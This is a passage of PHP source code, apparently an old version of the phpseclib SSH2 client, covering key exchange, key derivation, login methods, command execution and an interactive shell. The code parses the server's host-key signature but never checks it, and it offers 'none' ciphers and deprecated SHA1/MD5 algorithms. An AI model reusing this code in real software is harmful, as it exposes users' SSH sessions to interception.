'NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER', 14 => 'NET_SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE', 15 => 'NET_SSH2_DISCONNECT_ILLEGAL_USER_NAME' ); $this->channel_open_failure_reasons = array( 1 => 'NET_SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED' ); $this->terminal_modes = array( 0 => 'NET_SSH2_TTY_OP_END' ); $this->channel_extended_data_type_codes = array( 1 => 'NET_SSH2_EXTENDED_DATA_STDERR' ); $this->_define_array($this->message_numbers, $this->disconnect_reasons, $this->channel_open_failure_reasons, $this->terminal_modes, $this->channel_extended_data_type_codes, array( 60 => 'NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ' ) , array( 60 => 'NET_SSH2_MSG_USERAUTH_PK_OK' ) , array( 60 => 'NET_SSH2_MSG_USERAUTH_INFO_REQUEST', 61 => 'NET_SSH2_MSG_USERAUTH_INFO_RESPONSE' )); $this->fsock = @fsockopen($host, $port, $errno, $errstr, $timeout); if (!$this->fsock) { user_error(rtrim("Cannot connect to $host. Error $errno. $errstr") , E_USER_NOTICE); return; } $temp = ''; $extra = ''; while (!feof($this->fsock) && !preg_match('#^SSH-(\d\.\d+)#', $temp, $matches)) { if (substr($temp, -2) == "\r\n") { $extra.= $temp; $temp = ''; } $temp.= fgets($this->fsock, 255); } if (feof($this->fsock)) { user_error('Connection closed by server', E_USER_NOTICE); return false; } $ext = array(); if (extension_loaded('mcrypt')) { $ext[] = 'mcrypt'; } if (extension_loaded('gmp')) { $ext[] = 'gmp'; } else if (extension_loaded('bcmath')) { $ext[] = 'bcmath'; } if (!empty($ext)) { $this->identifier.= ' (' . implode(', ', $ext) . ')'; } if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[] = '<-'; $this->message_number_log[] = '->'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = $temp; $this->message_log[] = $this->identifier . "\r\n"; } } $this->server_identifier = trim($temp, "\r\n"); if (!empty($extra)) { $this->errors[] = utf8_decode($extra); } if ($matches[1] != '1.99' && $matches[1] != '2.0') { user_error("Cannot connect to SSH $matches[1] servers", E_USER_NOTICE); return; } fputs($this->fsock, $this->identifier . "\r\n"); $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return; } if (ord($response[0]) != NET_SSH2_MSG_KEXINIT) { user_error('Expected SSH_MSG_KEXINIT', E_USER_NOTICE); return; } if (!$this->_key_exchange($response)) { return; } $this->bitmap = NET_SSH2_MASK_CONSTRUCTOR; } function _key_exchange($kexinit_payload_server) { static $kex_algorithms = array( 'diffie-hellman-group1-sha1', 'diffie-hellman-group14-sha1' ); static $server_host_key_algorithms = array( 'ssh-rsa', 'ssh-dss' ); static $encryption_algorithms = array( 'aes128-cbc', 'aes192-cbc', 'aes256-cbc', 'aes128-ctr', 'aes192-ctr', 'aes256-ctr', '3des-ctr', '3des-cbc', 'none' ); static $mac_algorithms = array( 'hmac-sha1-96', 'hmac-sha1', 'hmac-md5-96', 'hmac-md5', 'none' ); static $compression_algorithms = array( 'none' ); static $str_kex_algorithms, $str_server_host_key_algorithms, $encryption_algorithms_server_to_client, $mac_algorithms_server_to_client, $compression_algorithms_server_to_client, $encryption_algorithms_client_to_server, $mac_algorithms_client_to_server, $compression_algorithms_client_to_server; if (empty($str_kex_algorithms)) { $str_kex_algorithms = implode(',', $kex_algorithms); $str_server_host_key_algorithms = implode(',', $server_host_key_algorithms); $encryption_algorithms_server_to_client = $encryption_algorithms_client_to_server = implode(',', $encryption_algorithms); $mac_algorithms_server_to_client = $mac_algorithms_client_to_server = implode(',', $mac_algorithms); $compression_algorithms_server_to_client = $compression_algorithms_client_to_server = implode(',', $compression_algorithms); } $client_cookie = ''; for ($i = 0; $i < 16; $i++) { $client_cookie.= chr(crypt_random(0, 255)); } $response = $kexinit_payload_server; $this->_string_shift($response, 1); $server_cookie = $this->_string_shift($response, 16); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->kex_algorithms = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->server_host_key_algorithms = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->encryption_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->encryption_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->mac_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->mac_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->compression_algorithms_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->compression_algorithms_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->languages_client_to_server = explode(',', $this->_string_shift($response, $temp['length'])); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->languages_server_to_client = explode(',', $this->_string_shift($response, $temp['length'])); extract(unpack('Cfirst_kex_packet_follows', $this->_string_shift($response, 1))); $first_kex_packet_follows = $first_kex_packet_follows != 0; $kexinit_payload_client = pack('Ca*Na*Na*Na*Na*Na*Na*Na*Na*Na*Na*CN', NET_SSH2_MSG_KEXINIT, $client_cookie, strlen($str_kex_algorithms) , $str_kex_algorithms, strlen($str_server_host_key_algorithms) , $str_server_host_key_algorithms, strlen($encryption_algorithms_client_to_server) , $encryption_algorithms_client_to_server, strlen($encryption_algorithms_server_to_client) , $encryption_algorithms_server_to_client, strlen($mac_algorithms_client_to_server) , $mac_algorithms_client_to_server, strlen($mac_algorithms_server_to_client) , $mac_algorithms_server_to_client, strlen($compression_algorithms_client_to_server) , $compression_algorithms_client_to_server, strlen($compression_algorithms_server_to_client) , $compression_algorithms_server_to_client, 0, '', 0, '', 0, 0); if (!$this->_send_binary_packet($kexinit_payload_client)) { return false; } for ($i = 0; $i < count($encryption_algorithms) && !in_array($encryption_algorithms[$i], $this->encryption_algorithms_server_to_client); $i++); if ($i == count($encryption_algorithms)) { user_error('No compatible server to client encryption algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $decrypt = $encryption_algorithms[$i]; switch ($decrypt) { case '3des-cbc': case '3des-ctr': $decryptKeyLength = 24; break; case 'aes256-cbc': case 'aes256-ctr': $decryptKeyLength = 32; break; case 'aes192-cbc': case 'aes192-ctr': $decryptKeyLength = 24; break; case 'aes128-cbc': case 'aes128-ctr': $decryptKeyLength = 16; break; case 'none'; $decryptKeyLength = 0; } for ($i = 0; $i < count($encryption_algorithms) && !in_array($encryption_algorithms[$i], $this->encryption_algorithms_client_to_server); $i++); if ($i == count($encryption_algorithms)) { user_error('No compatible client to server encryption algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $encrypt = $encryption_algorithms[$i]; switch ($encrypt) { case '3des-cbc': case '3des-ctr': $encryptKeyLength = 24; break; case 'aes256-cbc': case 'aes256-ctr': $encryptKeyLength = 32; break; case 'aes192-cbc': case 'aes192-ctr': $encryptKeyLength = 24; break; case 'aes128-cbc': case 'aes128-ctr': $encryptKeyLength = 16; break; case 'none'; $encryptKeyLength = 0; } $keyLength = $decryptKeyLength > $encryptKeyLength ? $decryptKeyLength : $encryptKeyLength; for ($i = 0; $i < count($kex_algorithms) && !in_array($kex_algorithms[$i], $this->kex_algorithms); $i++); if ($i == count($kex_algorithms)) { user_error('No compatible key exchange algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } switch ($kex_algorithms[$i]) { case 'diffie-hellman-group1-sha1': $p = pack('H256', 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74' . '020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437' . '4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED' . 'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF'); $keyLength = $keyLength < 160 ? $keyLength : 160; $hash = 'sha1'; break; case 'diffie-hellman-group14-sha1': $p = pack('H512', 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74' . '020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437' . '4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED' . 'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF05' . '98DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB' . '9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3B' . 'E39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF695581718' . '3995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF'); $keyLength = $keyLength < 160 ? $keyLength : 160; $hash = 'sha1'; } $p = new Math_BigInteger($p, 256); $q = new Math_BigInteger(1); $q = $q->bitwise_leftShift(2 * $keyLength); $q = $q->subtract(new Math_BigInteger(1)); $g = new Math_BigInteger(2); $x = new Math_BigInteger(); $x->setRandomGenerator('crypt_random'); $x = $x->random(new Math_BigInteger(1) , $q); $e = $g->modPow($x, $p); $eBytes = $e->toBytes(true); $data = pack('CNa*', NET_SSH2_MSG_KEXDH_INIT, strlen($eBytes) , $eBytes); if (!$this->_send_binary_packet($data)) { user_error('Connection closed by server', E_USER_NOTICE); return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_KEXDH_REPLY) { user_error('Expected SSH_MSG_KEXDH_REPLY', E_USER_NOTICE); return false; } $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->server_public_host_key = $server_public_host_key = $this->_string_shift($response, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $public_key_format = $this->_string_shift($server_public_host_key, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $fBytes = $this->_string_shift($response, $temp['length']); $f = new Math_BigInteger($fBytes, -256); $temp = unpack('Nlength', $this->_string_shift($response, 4)); $this->signature = $this->_string_shift($response, $temp['length']); $temp = unpack('Nlength', $this->_string_shift($this->signature, 4)); $this->signature_format = $this->_string_shift($this->signature, $temp['length']); $key = $f->modPow($x, $p); $keyBytes = $key->toBytes(true); $this->exchange_hash = pack('Na*Na*Na*Na*Na*Na*Na*Na*', strlen($this->identifier) , $this->identifier, strlen($this->server_identifier) , $this->server_identifier, strlen($kexinit_payload_client) , $kexinit_payload_client, strlen($kexinit_payload_server) , $kexinit_payload_server, strlen($this->server_public_host_key) , $this->server_public_host_key, strlen($eBytes) , $eBytes, strlen($fBytes) , $fBytes, strlen($keyBytes) , $keyBytes); $this->exchange_hash = pack('H*', $hash($this->exchange_hash)); if ($this->session_id === false) { $this->session_id = $this->exchange_hash; } for ($i = 0; $i < count($server_host_key_algorithms) && !in_array($server_host_key_algorithms[$i], $this->server_host_key_algorithms); $i++); if ($i == count($server_host_key_algorithms)) { user_error('No compatible server host key algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } if ($public_key_format != $server_host_key_algorithms[$i] || $this->signature_format != $server_host_key_algorithms[$i]) { user_error('Sever Host Key Algorithm Mismatch', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $packet = pack('C', NET_SSH2_MSG_NEWKEYS); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_NEWKEYS) { user_error('Expected SSH_MSG_NEWKEYS', E_USER_NOTICE); return false; } switch ($encrypt) { case 'aes256-cbc': case 'aes192-cbc': case 'aes128-cbc': $this->encrypt = new Crypt_AES(); $this->encrypt_block_size = 16; break; case 'aes256-ctr': case 'aes192-ctr': case 'aes128-ctr': $this->encrypt = new Crypt_AES(CRYPT_AES_MODE_CTR); $this->encrypt_block_size = 16; break; case 'none'; } switch ($decrypt) { case 'aes256-cbc': case 'aes192-cbc': case 'aes128-cbc': $this->decrypt = new Crypt_AES(); $this->decrypt_block_size = 16; break; case 'aes256-ctr': case 'aes192-ctr': case 'aes128-ctr': $this->decrypt = new Crypt_AES(CRYPT_AES_MODE_CTR); $this->decrypt_block_size = 16; break; case 'none'; } $keyBytes = pack('Na*', strlen($keyBytes) , $keyBytes); if ($this->encrypt) { $this->encrypt->enableContinuousBuffer(); $this->encrypt->disablePadding(); $iv = pack('H*', $hash($keyBytes . $this->exchange_hash . 'A' . $this->session_id)); while ($this->encrypt_block_size > strlen($iv)) { $iv.= pack('H*', $hash($keyBytes . $this->exchange_hash . $iv)); } $this->encrypt->setIV(substr($iv, 0, $this->encrypt_block_size)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'C' . $this->session_id)); while ($encryptKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->encrypt->setKey(substr($key, 0, $encryptKeyLength)); } if ($this->decrypt) { $this->decrypt->enableContinuousBuffer(); $this->decrypt->disablePadding(); $iv = pack('H*', $hash($keyBytes . $this->exchange_hash . 'B' . $this->session_id)); while ($this->decrypt_block_size > strlen($iv)) { $iv.= pack('H*', $hash($keyBytes . $this->exchange_hash . $iv)); } $this->decrypt->setIV(substr($iv, 0, $this->decrypt_block_size)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'D' . $this->session_id)); while ($decryptKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->decrypt->setKey(substr($key, 0, $decryptKeyLength)); } for ($i = 0; $i < count($mac_algorithms) && !in_array($mac_algorithms[$i], $this->mac_algorithms_client_to_server); $i++); if ($i == count($mac_algorithms)) { user_error('No compatible client to server message authentication algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $createKeyLength = 0; switch ($mac_algorithms[$i]) { case 'hmac-sha1': $this->hmac_create = new Crypt_Hash('sha1'); $createKeyLength = 20; break; case 'hmac-sha1-96': $this->hmac_create = new Crypt_Hash('sha1-96'); $createKeyLength = 20; break; case 'hmac-md5': $this->hmac_create = new Crypt_Hash('md5'); $createKeyLength = 16; break; case 'hmac-md5-96': $this->hmac_create = new Crypt_Hash('md5-96'); $createKeyLength = 16; } for ($i = 0; $i < count($mac_algorithms) && !in_array($mac_algorithms[$i], $this->mac_algorithms_server_to_client); $i++); if ($i == count($mac_algorithms)) { user_error('No compatible server to client message authentication algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $checkKeyLength = 0; $this->hmac_size = 0; switch ($mac_algorithms[$i]) { case 'hmac-sha1': $this->hmac_check = new Crypt_Hash('sha1'); $checkKeyLength = 20; $this->hmac_size = 20; break; case 'hmac-sha1-96': $this->hmac_check = new Crypt_Hash('sha1-96'); $checkKeyLength = 20; $this->hmac_size = 12; break; case 'hmac-md5': $this->hmac_check = new Crypt_Hash('md5'); $checkKeyLength = 16; $this->hmac_size = 16; break; case 'hmac-md5-96': $this->hmac_check = new Crypt_Hash('md5-96'); $checkKeyLength = 16; $this->hmac_size = 12; } $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'E' . $this->session_id)); while ($createKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->hmac_create->setKey(substr($key, 0, $createKeyLength)); $key = pack('H*', $hash($keyBytes . $this->exchange_hash . 'F' . $this->session_id)); while ($checkKeyLength > strlen($key)) { $key.= pack('H*', $hash($keyBytes . $this->exchange_hash . $key)); } $this->hmac_check->setKey(substr($key, 0, $checkKeyLength)); for ($i = 0; $i < count($compression_algorithms) && !in_array($compression_algorithms[$i], $this->compression_algorithms_server_to_client); $i++); if ($i == count($compression_algorithms)) { user_error('No compatible server to client compression algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $this->decompress = $compression_algorithms[$i] == 'zlib'; for ($i = 0; $i < count($compression_algorithms) && !in_array($compression_algorithms[$i], $this->compression_algorithms_client_to_server); $i++); if ($i == count($compression_algorithms)) { user_error('No compatible client to server compression algorithms found', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $this->compress = $compression_algorithms[$i] == 'zlib'; return true; } function login($username, $password = '') { if (!($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR)) { return false; } $packet = pack('CNa*', NET_SSH2_MSG_SERVICE_REQUEST, strlen('ssh-userauth') , 'ssh-userauth'); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); if ($type != NET_SSH2_MSG_SERVICE_ACCEPT) { user_error('Expected SSH_MSG_SERVICE_ACCEPT', E_USER_NOTICE); return false; } if (is_object($password) && strtolower(get_class($password)) == 'crypt_rsa') { return $this->_privatekey_login($username, $password); } $utf8_password = utf8_encode($password); $packet = pack('CNa*Na*Na*CNa*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('password') , 'password', 0, strlen($utf8_password) , $utf8_password); if (!$this->_send_binary_packet($packet)) { return false; } if (defined('NET_SSH2_LOGGING') && NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $packet = pack('CNa*Na*Na*CNa*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen('username') , 'username', strlen('ssh-connection') , 'ssh-connection', strlen('password') , 'password', 0, strlen('password') , 'password'); $this->message_log[count($this->message_log) - 1] = $packet; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = 'NET_SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ'; } extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_PASSWD_CHANGEREQ: ' . utf8_decode($this->_string_shift($response, $length)); return $this->_disconnect(NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER); case NET_SSH2_MSG_USERAUTH_FAILURE: extract(unpack('Nlength', $this->_string_shift($response, 4))); $auth_methods = explode(',', $this->_string_shift($response, $length)); if (in_array('keyboard-interactive', $auth_methods)) { if ($this->_keyboard_interactive_login($username, $password)) { $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } return false; case NET_SSH2_MSG_USERAUTH_SUCCESS: $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } function _keyboard_interactive_login($username, $password) { $packet = pack('CNa*Na*Na*Na*Na*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('keyboard-interactive') , 'keyboard-interactive', 0, '', 0, ''); if (!$this->_send_binary_packet($packet)) { return false; } return $this->_keyboard_interactive_process($password); } function _keyboard_interactive_process() { $responses = func_get_args(); $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_INFO_REQUEST: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_INFO_REQUEST', $this->message_number_log[count($this->message_number_log) - 1]); } extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->_string_shift($response, $length); extract(unpack('Nnum_prompts', $this->_string_shift($response, 4))); $packet = $logged = pack('CN', NET_SSH2_MSG_USERAUTH_INFO_RESPONSE, count($responses)); for ($i = 0; $i < count($responses); $i++) { $packet.= pack('Na*', strlen($responses[$i]) , $responses[$i]); $logged.= pack('Na*', strlen('dummy-answer') , 'dummy-answer'); } if (!$this->_send_binary_packet($packet)) { return false; } if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_INFO_RESPONSE', $this->message_number_log[count($this->message_number_log) - 1]); $this->message_log[count($this->message_log) - 1] = $logged; } return $this->_keyboard_interactive_process(); case NET_SSH2_MSG_USERAUTH_SUCCESS: return true; case NET_SSH2_MSG_USERAUTH_FAILURE: return false; } return false; } function _privatekey_login($username, $privatekey) { $publickey = $privatekey->getPublicKey(CRYPT_RSA_PUBLIC_FORMAT_RAW); if ($publickey === false) { return false; } $publickey = array( 'e' => $publickey['e']->toBytes(true) , 'n' => $publickey['n']->toBytes(true) ); $publickey = pack('Na*Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publickey['e']) , $publickey['e'], strlen($publickey['n']) , $publickey['n']); $part1 = pack('CNa*Na*Na*', NET_SSH2_MSG_USERAUTH_REQUEST, strlen($username) , $username, strlen('ssh-connection') , 'ssh-connection', strlen('publickey') , 'publickey'); $part2 = pack('Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($publickey) , $publickey); $packet = $part1 . chr(0) . $part2; if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_FAILURE: extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_FAILURE: ' . $this->_string_shift($response, $length); return $this->_disconnect(NET_SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER); case NET_SSH2_MSG_USERAUTH_PK_OK: if (defined('NET_SSH2_LOGGING')) { $this->message_number_log[count($this->message_number_log) - 1] = str_replace('UNKNOWN', 'NET_SSH2_MSG_USERAUTH_PK_OK', $this->message_number_log[count($this->message_number_log) - 1]); } } $packet = $part1 . chr(1) . $part2; $privatekey->setSignatureMode(CRYPT_RSA_SIGNATURE_PKCS1); $signature = $privatekey->sign(pack('Na*a*', strlen($this->session_id) , $this->session_id, $packet)); $signature = pack('Na*Na*', strlen('ssh-rsa') , 'ssh-rsa', strlen($signature) , $signature); $packet.= pack('Na*', strlen($signature) , $signature); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } extract(unpack('Ctype', $this->_string_shift($response, 1))); switch ($type) { case NET_SSH2_MSG_USERAUTH_FAILURE: return false; case NET_SSH2_MSG_USERAUTH_SUCCESS: $this->bitmap|= NET_SSH2_MASK_LOGIN; return true; } return false; } function exec($command, $block = true) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { return false; } $this->window_size_client_to_server[NET_SSH2_CHANNEL_EXEC] = 0x7FFFFFFF; $packet_size = 0x4000; $packet = pack('CNa*N3', NET_SSH2_MSG_CHANNEL_OPEN, strlen('session') , 'session', NET_SSH2_CHANNEL_EXEC, $this->window_size_client_to_server[NET_SSH2_CHANNEL_EXEC], $packet_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_OPEN; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); if ($response === false) { return false; } $packet = pack('CNNa*CNa*', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_EXEC], strlen('exec') , 'exec', 1, strlen($command) , $command); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_REQUEST; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); if ($response === false) { return false; } $this->channel_status[NET_SSH2_CHANNEL_EXEC] = NET_SSH2_MSG_CHANNEL_DATA; if (!$block) { return true; } $output = ''; while (true) { $temp = $this->_get_channel_packet(NET_SSH2_CHANNEL_EXEC); switch (true) { case $temp === true: return $output; case $temp === false: return false; default: $output.= $temp; } } } function _initShell() { $this->window_size_client_to_server[NET_SSH2_CHANNEL_SHELL] = 0x7FFFFFFF; $packet_size = 0x4000; $packet = pack('CNa*N3', NET_SSH2_MSG_CHANNEL_OPEN, strlen('session') , 'session', NET_SSH2_CHANNEL_SHELL, $this->window_size_client_to_server[NET_SSH2_CHANNEL_SHELL], $packet_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_OPEN; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); if ($response === false) { return false; } $terminal_modes = pack('C', NET_SSH2_TTY_OP_END); $packet = pack('CNNa*CNa*N5a*', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_SHELL], strlen('pty-req') , 'pty-req', 1, strlen('vt100') , 'vt100', 80, 24, 0, 0, strlen($terminal_modes) , $terminal_modes); if (!$this->_send_binary_packet($packet)) { return false; } $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } list(, $type) = unpack('C', $this->_string_shift($response, 1)); switch ($type) { case NET_SSH2_MSG_CHANNEL_SUCCESS: break; case NET_SSH2_MSG_CHANNEL_FAILURE: default: user_error('Unable to request pseudo-terminal', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $packet = pack('CNNa*C', NET_SSH2_MSG_CHANNEL_REQUEST, $this->server_channels[NET_SSH2_CHANNEL_SHELL], strlen('shell') , 'shell', 1); if (!$this->_send_binary_packet($packet)) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_REQUEST; $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); if ($response === false) { return false; } $this->channel_status[NET_SSH2_CHANNEL_SHELL] = NET_SSH2_MSG_CHANNEL_DATA; $this->bitmap|= NET_SSH2_MASK_SHELL; return true; } function read($expect, $mode = NET_SSH2_READ_SIMPLE) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { user_error('Operation disallowed prior to login()', E_USER_NOTICE); return false; } if (!($this->bitmap & NET_SSH2_MASK_SHELL) && !$this->_initShell()) { user_error('Unable to initiate an interactive shell session', E_USER_NOTICE); return false; } $match = $expect; while (true) { if ($mode == NET_SSH2_READ_REGEX) { preg_match($expect, $this->interactiveBuffer, $matches); $match = $matches[0]; } $pos = strpos($this->interactiveBuffer, $match); if ($pos !== false) { return $this->_string_shift($this->interactiveBuffer, $pos + strlen($match)); } $response = $this->_get_channel_packet(NET_SSH2_CHANNEL_SHELL); $this->interactiveBuffer.= $response; } } function write($cmd) { if (!($this->bitmap & NET_SSH2_MASK_LOGIN)) { user_error('Operation disallowed prior to login()', E_USER_NOTICE); return false; } if (!($this->bitmap & NET_SSH2_MASK_SHELL) && !$this->_initShell()) { user_error('Unable to initiate an interactive shell session', E_USER_NOTICE); return false; } return $this->_send_channel_packet(NET_SSH2_CHANNEL_SHELL, $cmd); } function disconnect() { $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } function __destruct() { $this->disconnect(); } function _get_binary_packet() { if (feof($this->fsock)) { user_error('Connection closed prematurely', E_USER_NOTICE); return false; } $start = strtok(microtime() , ' ') + strtok(''); $raw = fread($this->fsock, $this->decrypt_block_size); $stop = strtok(microtime() , ' ') + strtok(''); if (empty($raw)) { return ''; } if ($this->decrypt !== false) { $raw = $this->decrypt->decrypt($raw); } extract(unpack('Npacket_length/Cpadding_length', $this->_string_shift($raw, 5))); $remaining_length = $packet_length + 4 - $this->decrypt_block_size; $buffer = ''; while ($remaining_length > 0) { $temp = fread($this->fsock, $remaining_length); $buffer.= $temp; $remaining_length-= strlen($temp); } if (!empty($buffer)) { $raw.= $this->decrypt !== false ? $this->decrypt->decrypt($buffer) : $buffer; $buffer = $temp = ''; } $payload = $this->_string_shift($raw, $packet_length - $padding_length - 1); $padding = $this->_string_shift($raw, $padding_length); if ($this->hmac_check !== false) { $hmac = fread($this->fsock, $this->hmac_size); if ($hmac != $this->hmac_check->hash(pack('NNCa*', $this->get_seq_no, $packet_length, $padding_length, $payload . $padding))) { user_error('Invalid HMAC', E_USER_NOTICE); return false; } } $this->get_seq_no++; if (defined('NET_SSH2_LOGGING')) { $temp = isset($this->message_numbers[ord($payload[0]) ]) ? $this->message_numbers[ord($payload[0]) ] : 'UNKNOWN (' . ord($payload[0]) . ')'; $this->message_number_log[] 